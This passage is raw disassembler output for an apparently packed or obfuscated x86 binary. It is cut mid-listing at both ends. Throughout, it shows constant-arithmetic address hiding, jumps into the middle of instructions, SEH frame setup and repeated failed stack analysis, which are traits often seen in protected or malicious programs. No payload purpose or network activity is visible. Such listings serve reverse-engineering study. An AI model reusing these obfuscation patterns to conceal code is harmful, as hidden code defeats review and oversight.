AT 0042B65D SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0042E878 SIZE 0000000A BYTES mov eax, [ebp-20h] mov [ebp-28h], eax mov dword ptr [ebp-14h], 4 mov eax, [ebp-14h] mov [ebp-4], eax jmp loc_424097 sub_42D44C endp ; --------------------------------------------------------------------------- locret_42D464: ; CODE XREF: wto1jq8f:0042A940j retn ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_71. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xor eax, eax retn ; --------------------------------------------------------------------------- loc_42D469: ; DATA XREF: sub_424309+18Bo push offset sub_42E7D7 jmp locret_426382 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42D473: ; CODE XREF: sub_426535:loc_4277FAj jz loc_42BD93 jmp loc_427ABC ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4245B5 loc_42D47E: ; CODE XREF: wto1jq8f:loc_424FA8j ; sub_4245B5:loc_42D536j push ecx mov esp, ebp pop ebp call loc_42F81B loc_42D487: ; CODE XREF: wto1jq8f:00428697j jmp loc_4272DE ; END OF FUNCTION CHUNK FOR sub_4245B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42D48C: ; CODE XREF: sub_42DC5C-11F8j push offset sub_42C6C3 jmp loc_42A734 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; =============== S U B R O U T I N E ======================================= sub_42D496 proc near ; DATA XREF: sub_42408D+1903o ; FUNCTION CHUNK AT 0042673A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00428D0B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042DFD0 SIZE 0000000B BYTES push 1BAFF698h pop eax add eax, 0FCF1E6C0h xor eax, 0F1C4A19Dh add eax, 16DD7527h mov eax, [eax] call near ptr word_42FFBA loc_42D4B5: ; CODE XREF: sub_42AECE+Aj jmp loc_42673A sub_42D496 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg ebp, [eax] jmp loc_425EA8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428B3E loc_42D4C1: ; CODE XREF: sub_428B3E+4j push 95F725AFh pop ebx xor ebx, 0F123F984h add ebx, 7D3EDADDh add ebx, ebp jmp loc_42797C ; END OF FUNCTION CHUNK FOR sub_428B3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428BC4 loc_42D4DA: ; CODE XREF: wto1jq8f:004269BBj ; sub_428BC4+10j push large dword ptr fs:0 mov large fs:0, esp push dword ptr [ebp-4] call near ptr sub_42D4FD push dword ptr [ebp-4] call near ptr sub_428C71 jmp loc_427DD9 ; END OF FUNCTION CHUNK FOR sub_428BC4 ; =============== S U B R O U T I N E ======================================= sub_42D4FD proc far ; CODE XREF: sub_428BC4+4927p ; FUNCTION CHUNK AT 00428EC7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A9D4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042B16D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042C6D9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D564 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DBF9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00430000 SIZE 00000016 BYTES push ebp jmp loc_428EC7 sub_42D4FD endp ; --------------------------------------------------------------------------- loc_42D503: ; CODE XREF: wto1jq8f:0042D6BFj jz locret_42FE23 jmp loc_42EA00 ; --------------------------------------------------------------------------- word_42D50E dw 458Bh ; DATA XREF: sub_429165:loc_4250CAo dd 2486E8F4h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429459 loc_42D516: ; CODE XREF: sub_429459+1665j jmp loc_42C187 ; END OF FUNCTION CHUNK FOR sub_429459 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426842 loc_42D51B: ; CODE XREF: sub_426842-1AA7j jmp loc_4293A4 ; END OF FUNCTION CHUNK FOR sub_426842 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CBD1 loc_42D520: ; CODE XREF: sub_42CBD1:loc_4287FDj jnz loc_425F84 jmp loc_426DFC ; END OF FUNCTION CHUNK FOR sub_42CBD1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_132. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42D52C: ; CODE XREF: sub_42DC5C+1A0j jmp loc_42EF69 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_42D531: ; CODE XREF: sub_42ADC7-154j jmp loc_42CE14 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4245B5 loc_42D536: ; CODE XREF: sub_4245B5+9j jmp loc_42D47E ; END OF FUNCTION CHUNK FOR sub_4245B5 ; =============== S U B R O U T I N E ======================================= sub_42D53B proc near ; CODE XREF: sub_4250D4+6DC0p ; FUNCTION CHUNK AT 0042757C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B30B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042C08E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042C1BF SIZE 00000017 BYTES xchg eax, [esp+0] pop eax jz loc_42F4DE loc_42D545: ; CODE XREF: sub_42EDB9-A187j push ebp jmp loc_42757C sub_42D53B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260DB loc_42D54B: ; CODE XREF: sub_4260DB:loc_426DE5j rol eax, 17h test eax, 40000000h jmp loc_4284C9 ; END OF FUNCTION CHUNK FOR sub_4260DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42D559: ; CODE XREF: sub_42DC5C:loc_42810Bj ; sub_42DC5C-492Aj call nullsub_128 retn ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- jmp locret_424784 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D4FD loc_42D564: ; CODE XREF: sub_42D4FD-E1Ej jmp loc_430000 ; END OF FUNCTION CHUNK FOR sub_42D4FD ; --------------------------------------------------------------------------- loc_42D569: ; CODE XREF: wto1jq8f:loc_42C5F6j call near ptr sub_42CB36 push offset sub_42A909 jmp locret_4283EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C4CF loc_42D578: ; CODE XREF: sub_42C4CF+Ej add eax, 4 mov edx, [eax] mov al, 1 push 42EE84h jmp nullsub_115 ; END OF FUNCTION CHUNK FOR sub_42C4CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428BA9 loc_42D589: ; CODE XREF: sub_428BA9:loc_426E01j mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_428BA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A2B8 loc_42D58D: ; CODE XREF: sub_42A2B8:loc_42E4B5j mov eax, [ebp-4] jmp loc_42667D ; END OF FUNCTION CHUNK FOR sub_42A2B8 ; --------------------------------------------------------------------------- loc_42D595: ; CODE XREF: wto1jq8f:00425AD6j rol edx, 1Ah test edx, 40000000h jmp loc_42D684 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9FC loc_42D5A3: ; CODE XREF: sub_42D9FC:loc_425074j mov eax, [ebp-8] mov dword ptr [ebp+eax*4-70h], 73257325h inc dword ptr [ebp-8] cmp dword ptr [ebp-8], 19h jmp loc_42C579 ; END OF FUNCTION CHUNK FOR sub_42D9FC ; =============== S U B R O U T I N E ======================================= sub_42D5BA proc near ; CODE XREF: wto1jq8f:0042BABBj ; sub_42669E+81FCp ; FUNCTION CHUNK AT 0042CE69 SIZE 0000000C BYTES mov [esp+0], edx pop edx add edx, ebp jmp loc_42CE69 sub_42D5BA endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 61h, 7Bh, 0A6h dword_42D5C8 dd 0 dword_42D5CC dd 0 ; wto1jq8f:004266BEr ... dword_42D5D0 dd 0B0EC4658h, 23994B1Ch, 0B136C817h, 0DEFCED00h ; DATA XREF: sub_42DB52:loc_427D3Co ; wto1jq8f:0042B2AFo dword_42D5E0 dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42D5E4: ; CODE XREF: sub_426535+4079j jmp loc_42F6EF ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660F loc_42D5E9: ; CODE XREF: sub_42660F+1j jmp loc_425EE9 ; END OF FUNCTION CHUNK FOR sub_42660F ; --------------------------------------------------------------------------- db 81h, 0C2h dword_42D5F0 dd 0 ; sub_426535:loc_42E3EAr ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42D5F4: ; CODE XREF: sub_424232+Aj ; sub_42ADC7:loc_427361j jmp loc_426919 ; END OF FUNCTION CHUNK FOR sub_4269FD ; --------------------------------------------------------------------------- db 60h, 0B0h, 95h dword_42D5FC dd 0 ; sub_425B46+8A3Cw dword_42D600 dd 0 ; wto1jq8f:0042B15Cw dword_42D604 dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429165 loc_42D608: ; CODE XREF: sub_429165+4A7Dj jmp loc_4249D6 ; END OF FUNCTION CHUNK FOR sub_429165 ; --------------------------------------------------------------------------- loc_42D60D: ; CODE XREF: wto1jq8f:0042615Fj jmp loc_424728 ; --------------------------------------------------------------------------- loc_42D612: ; CODE XREF: wto1jq8f:004281D0j add eax, 0E4451709h add eax, ebp add eax, 14FA1071h mov eax, [eax] loc_42D622: ; CODE XREF: wto1jq8f:00429648j cmp eax, dword ptr ds:loc_42F1DB+5 jz loc_4245A9 jmp loc_428631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42D633: ; CODE XREF: sub_429BFF+207Dj and ecx, edx push ebx loc_42D636: ; CODE XREF: sub_429BFF:loc_42B99Dj push 2F6431C9h pop eax xor eax, 0F318B26h add eax, ebp add eax, 0DFAA450Dh jmp near ptr nullsub_33 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- loc_42D64F: ; CODE XREF: wto1jq8f:0042D0C2j shl ebx, 8 jmp loc_426AF5 ; --------------------------------------------------------------------------- locret_42D657: ; CODE XREF: wto1jq8f:0042B61Cj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E597 loc_42D658: ; CODE XREF: sub_42E597+9j jmp loc_42A573 ; END OF FUNCTION CHUNK FOR sub_42E597 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4242F8 loc_42D65D: ; CODE XREF: sub_4242F8:loc_42EA1Cj mov eax, [ebp+arg_0] cmp dword ptr [eax-0Ch], 4 jnz loc_42D673 add [ebp+var_8], 4 jmp loc_42EA25 ; --------------------------------------------------------------------------- loc_42D673: ; CODE XREF: sub_4242F8+936Cj add [ebp+var_8], 2 jmp loc_42EA25 ; END OF FUNCTION CHUNK FOR sub_4242F8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D67C proc near ; CODE XREF: sub_42BE7E+4p ; sub_42D53B-1379p ; FUNCTION CHUNK AT 0042BD85 SIZE 00000005 BYTES push ebp mov ebp, esp jmp loc_42BD85 sub_42D67C endp ; --------------------------------------------------------------------------- loc_42D684: ; CODE XREF: wto1jq8f:0042D59Ej jz loc_428CB8 add edx, eax jmp loc_428CB7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42D692: ; CODE XREF: sub_426535:loc_4265A9j jz loc_427DFF jmp loc_42BD22 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_42D69D: ; DATA XREF: sub_42D753+2o push 0A4D0F924h pop eax xor eax, 1A1C1F21h and eax, 63838402h add eax, 0DDC25720h mov eax, [eax] or eax, eax jnz loc_42FB99 jmp loc_42D503 ; --------------------------------------------------------------------------- loc_42D6C4: ; CODE XREF: wto1jq8f:00426DA1j jnb loc_429929 sub esi, 98A4289Bh sbb ebp, eax test ebx, 0D37F0AC4h jmp loc_42B0EE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D953 loc_42D6DE: ; CODE XREF: sub_42D953+Bj jmp nullsub_133 ; END OF FUNCTION CHUNK FOR sub_42D953 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CE2 loc_42D6E3: ; CODE XREF: sub_425CE2+37B2j xor edx, edx push edx push eax mov eax, [ebp-18h] jmp loc_42BA3A ; END OF FUNCTION CHUNK FOR sub_425CE2 ; --------------------------------------------------------------------------- loc_42D6EF: ; CODE XREF: wto1jq8f:0042C8B1j call sub_42596F call near ptr sub_4267AE mov edx, [ebp+8] mov [edx-8], eax ; START OF FUNCTION CHUNK FOR sub_424BAC loc_42D6FF: ; CODE XREF: sub_424BAC+Ej ; sub_426535+10A7j ... mov eax, [ebp-4] mov [ebp-8], eax mov eax, [ebp-8] mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_424BAC ; --------------------------------------------------------------------------- dd 0EC278D0Fh, 0C3F7FFFFh, 0C02F0875h, 0FFD140E9h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_42D71D proc near ; CODE XREF: wto1jq8f:0042E040j ; sub_42E785+7p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 004274EA SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00429060 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429096 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042CF99 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi add ecx, eax loc_42D723: ; CODE XREF: sub_429471:loc_42BF35j push eax push 0BC8EF675h pop eax jmp loc_429060 sub_42D71D endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov eax, [eax] call sub_428183 jmp loc_427EA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42D73B: ; CODE XREF: wto1jq8f:00425D74j ; sub_429BFF+Ej ... js loc_426C47 mov eax, [ebp+8] cmp dword ptr [eax-4], 0 jz loc_42900A jmp loc_42CCDE ; END OF FUNCTION CHUNK FOR sub_429BFF ; =============== S U B R O U T I N E ======================================= sub_42D753 proc near ; DATA XREF: sub_42D343-7186o mov esp, ebp mov ebp, offset loc_42D69D xchg ebp, [esp+0] retn sub_42D753 endp ; --------------------------------------------------------------------------- pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427143 loc_42D760: ; CODE XREF: sub_427143-1555j jmp nullsub_91 ; END OF FUNCTION CHUNK FOR sub_427143 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D765 proc near ; CODE XREF: sub_424406+A9p ; sub_42B565-64A0p ... var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax call sub_427A9E jmp loc_42E563 sub_42D765 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42669E loc_42D778: ; CODE XREF: sub_42669E+71j jnz loc_42E2E6 jmp near ptr loc_42F64F+1 ; END OF FUNCTION CHUNK FOR sub_42669E ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426AD4 loc_42D784: ; CODE XREF: sub_426AD4+15j jmp loc_428B66 ; END OF FUNCTION CHUNK FOR sub_426AD4 ; --------------------------------------------------------------------------- loc_42D789: ; DATA XREF: wto1jq8f:0042A50Ao neg eax mov [ebp-5], al loc_42D78E: ; CODE XREF: wto1jq8f:0042ADC2j jnb loc_42B8A6 cmp byte ptr [ebp-5], 0 jnz loc_425BE9 push offset sub_428D47 jmp locret_42DFC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42D7A8: ; CODE XREF: sub_4244EA:loc_424F1Ej jz loc_429E1E loc_42D7AE: ; CODE XREF: sub_426535+5423j jmp loc_42F6FA ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- adc eax, ebp jmp loc_424281 ; --------------------------------------------------------------------------- word_42D7BA dw 0C681h ; DATA XREF: wto1jq8f:00424B20o dd 0C0437F17h, 0E9243487h, 2367h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_134. PRESS KEYPAD "+" TO EXPAND] db 0E9h, 0D7h, 0AFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427143 loc_42D7CE: ; CODE XREF: sub_427143+3B3Aj jmp nullsub_93 ; END OF FUNCTION CHUNK FOR sub_427143 ; --------------------------------------------------------------------------- xchg ebx, [esp] jmp sub_424585 ; --------------------------------------------------------------------------- sbb ebp, 0A23AFA50h sbb edx, ecx jmp loc_429773 ; --------------------------------------------------------------------------- mov ecx, ebp xchg ecx, [esp] call sub_42AAF6 ; START OF FUNCTION CHUNK FOR sub_42CF50 loc_42D7F2: ; CODE XREF: sub_42CF50-5353j jmp nullsub_34 ; END OF FUNCTION CHUNK FOR sub_42CF50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BD3 loc_42D7F7: ; CODE XREF: sub_429BD3-118Aj and eax, esi shr edx, 17h jno loc_42E9A3 loc_42D802: ; CODE XREF: sub_429BD3:loc_42B9B4j mov eax, [ebp-0Ch] jmp loc_4242BB ; END OF FUNCTION CHUNK FOR sub_429BD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B02D loc_42D80A: ; CODE XREF: sub_42B02D:loc_42A8CFj call sub_426C04 mov ds:dword_42FB5C, eax loc_42D814: ; CODE XREF: sub_42B02D+36Bj mov esp, ebp pop ebp jmp loc_4265A4 ; END OF FUNCTION CHUNK FOR sub_42B02D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C6C3 loc_42D81C: ; CODE XREF: sub_42C6C3:loc_42484Fj jnz loc_42B261 add eax, 28h call near ptr sub_4282FE loc_42D82A: ; CODE XREF: wto1jq8f:0042C4C4j pop edx push eax mov edx, 0FFFFFFFFh push edx push eax call near ptr sub_42C6B1 push edi jmp loc_42E82E ; END OF FUNCTION CHUNK FOR sub_42C6C3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_170. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42D83F: ; CODE XREF: wto1jq8f:004275C7j jmp locret_42428E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42D844: ; CODE XREF: sub_42DC5C-8EE8j jmp loc_42EA63 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; =============== S U B R O U T I N E ======================================= sub_42D849 proc near ; DATA XREF: wto1jq8f:0042E37Do mov eax, [eax] call sub_42EDB9 sub_42D849 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_428B3E loc_42D850: ; CODE XREF: sub_428B3E+3802j jmp nullsub_35 ; END OF FUNCTION CHUNK FOR sub_428B3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42D855: ; CODE XREF: sub_426535+83DFj jnp loc_427D52 loc_42D85B: ; CODE XREF: sub_426535:loc_427D9Cj call sub_424585 mov edx, 0EF9F7D01h call sub_429165 jmp loc_42EDAE ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_42D86F proc near ; DATA XREF: sub_428BC4:loc_428FC7o ; FUNCTION CHUNK AT 0042449F SIZE 00000005 BYTES mov [edi], eax pop edi jmp loc_42449F sub_42D86F endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebx push offset sub_42BB75 jmp loc_426FF0 ; =============== S U B R O U T I N E ======================================= sub_42D882 proc near ; CODE XREF: wto1jq8f:loc_426DE0p ; wto1jq8f:0042CF1Bj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00425B97 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042E641 SIZE 00000005 BYTES mov [esp+4+var_4], edx pop edx call sub_424585 push 0DC41F8A9h pop edx sub edx, 0D0B86360h and edx, 5EED94F1h jmp loc_42E641 sub_42D882 endp ; sp-analysis failed ; --------------------------------------------------------------------------- cmp ecx, edi jmp loc_4265FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D3A loc_42D8A9: ; CODE XREF: sub_424D3A+5A34j cmp eax, 5178D631h jmp loc_42C9C4 ; END OF FUNCTION CHUNK FOR sub_424D3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B276 loc_42D8B4: ; CODE XREF: sub_42B276+9j xchg eax, [esp+4+var_4] jo loc_42B92F rol edx, 5 mov eax, edx and ecx, ebx sub edx, ecx pop ebx pop edx jmp loc_42B922 ; END OF FUNCTION CHUNK FOR sub_42B276 ; --------------------------------------------------------------------------- pop eax jmp sub_42F9AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42D8D3: ; CODE XREF: sub_429BFF:loc_426DA6j ; wto1jq8f:0042E4E4j test al, al jz loc_42F17A jmp loc_427A88 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- jz loc_42F44D sbb esi, edi jmp sub_42EA31 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_138. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- pop eax jmp loc_42FED8 ; =============== S U B R O U T I N E ======================================= sub_42D8F4 proc near ; CODE XREF: wto1jq8f:00424B38p ; wto1jq8f:00428929j xchg eax, [esp+0] pop eax call sub_42D910 mov [ebp-4], eax sub_42D8F4 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42760F loc_42D900: ; CODE XREF: sub_42760F-2C44j ; wto1jq8f:loc_424B2Bj ... mov eax, [ebp-1Ch] call sub_42FC85 mov [ebp-8], eax jmp loc_42F2BD ; END OF FUNCTION CHUNK FOR sub_42760F ; =============== S U B R O U T I N E ======================================= sub_42D910 proc near ; CODE XREF: sub_427E50+5p ; sub_425CE2+3F0Ep ... jno sub_42C507 jmp sub_42CFE2 sub_42D910 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F7A loc_42D91B: ; CODE XREF: sub_424F7A:loc_42755Aj mov esp, ebp pop ebp mov eax, ds:dword_42905C or eax, eax loc_42D926: ; CODE XREF: wto1jq8f:0042C81Cj jnz loc_4280B2 jmp loc_427840 ; END OF FUNCTION CHUNK FOR sub_424F7A ; --------------------------------------------------------------------------- cmp esi, 0D4F2B3FAh jmp loc_427BBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42D93C: ; CODE XREF: sub_426535:loc_42BD22j add esi, 0B50CCCEBh add ecx, edx jmp loc_427DF3 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_42D949: ; CODE XREF: sub_42ADC7:loc_4284D4j call sub_4296B3 jmp loc_427782 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; =============== S U B R O U T I N E ======================================= sub_42D953 proc near ; DATA XREF: wto1jq8f:0042B9AAo ; FUNCTION CHUNK AT 0042D6DE SIZE 00000005 BYTES add eax, 6FCC0316h push offset loc_42E808 jmp loc_42D6DE sub_42D953 endp ; --------------------------------------------------------------------------- jnz loc_426F81 jmp loc_42B047 ; --------------------------------------------------------------------------- locret_42D96E: ; CODE XREF: wto1jq8f:0042B9AFj retn ; --------------------------------------------------------------------------- loc_42D96F: ; CODE XREF: wto1jq8f:00426F71j jmp loc_424733 ; =============== S U B R O U T I N E ======================================= sub_42D974 proc near ; CODE XREF: sub_42DA7A:loc_42B114j ; sub_42DA7A-127Cj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042D3AF SIZE 00000005 BYTES push ebx push 17544EB7h pop ebx add ebx, 0E8EE0DFDh xchg ebx, [esp+4+var_4] jmp loc_42D3AF sub_42D974 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424B93 loc_42D989: ; CODE XREF: sub_424B93:loc_42DF9Cj pop ebp retn 0Ch ; END OF FUNCTION CHUNK FOR sub_424B93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260DB loc_42D98D: ; CODE XREF: sub_4260DB+33j jmp loc_425D4A ; END OF FUNCTION CHUNK FOR sub_4260DB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_154. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42D993 proc near ; CODE XREF: wto1jq8f:0042B003p ; sub_42C21B+Dj ; FUNCTION CHUNK AT 004294AA SIZE 00000005 BYTES mov eax, offset dword_42F1D0 jmp loc_4294AA sub_42D993 endp ; --------------------------------------------------------------------------- loc_42D99D: ; CODE XREF: wto1jq8f:0042CE89j mov [ebp-4], eax mov eax, [ebp-4] mov [ebp-8], eax push offset loc_42BF23 jmp loc_42D408 ; =============== S U B R O U T I N E ======================================= sub_42D9B0 proc near ; CODE XREF: sub_42D67C:loc_42BD85j ; FUNCTION CHUNK AT 00425D16 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042961F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042AD30 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F482 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0042F4C2 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042F54E SIZE 00000011 BYTES add esp, 0FFFFFFF8h mov [ebp-4], eax mov eax, [ebp-4] mov [ebp-8], eax mov eax, [ebp+8] test byte ptr [eax-7], 10h jmp loc_42AD30 sub_42D9B0 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_70. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B8C loc_42D9C9: ; CODE XREF: sub_425B8C+9039j jmp nullsub_69 ; END OF FUNCTION CHUNK FOR sub_425B8C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9FC loc_42D9CE: ; CODE XREF: sub_42D9FC+Aj jmp loc_4273BA ; END OF FUNCTION CHUNK FOR sub_42D9FC ; --------------------------------------------------------------------------- loc_42D9D3: ; CODE XREF: wto1jq8f:00427F7Dj sbb esi, 648A7D0h ; =============== S U B R O U T I N E ======================================= sub_42D9D9 proc near ; CODE XREF: sub_42D44C-1DE2p ; FUNCTION CHUNK AT 0042491F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00424A05 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424A5E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424B66 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042676E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00426994 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00426E8E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004280BA SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042876D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004289C7 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00429D86 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042A878 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AC95 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042C652 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C9C9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D0A2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042D40D SIZE 00000005 BYTES mov [esp+0], eax pop eax cmp dword ptr [ebp-8], 0 jnz loc_42D0A2 loc_42D9E7: ; CODE XREF: sub_42D09Cj jnz loc_429D96 cmp dword ptr [ebp-1Ch], 66h jnz loc_42676E jmp loc_42A878 sub_42D9D9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42D9FC proc near ; DATA XREF: sub_42D9FC-1CE5o var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00424668 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 004246C5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425074 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00425CFF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042733C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004273BA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427911 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427ACA SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00429AB6 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042BD14 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042C579 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D5A3 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042D9CE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E3C9 SIZE 00000011 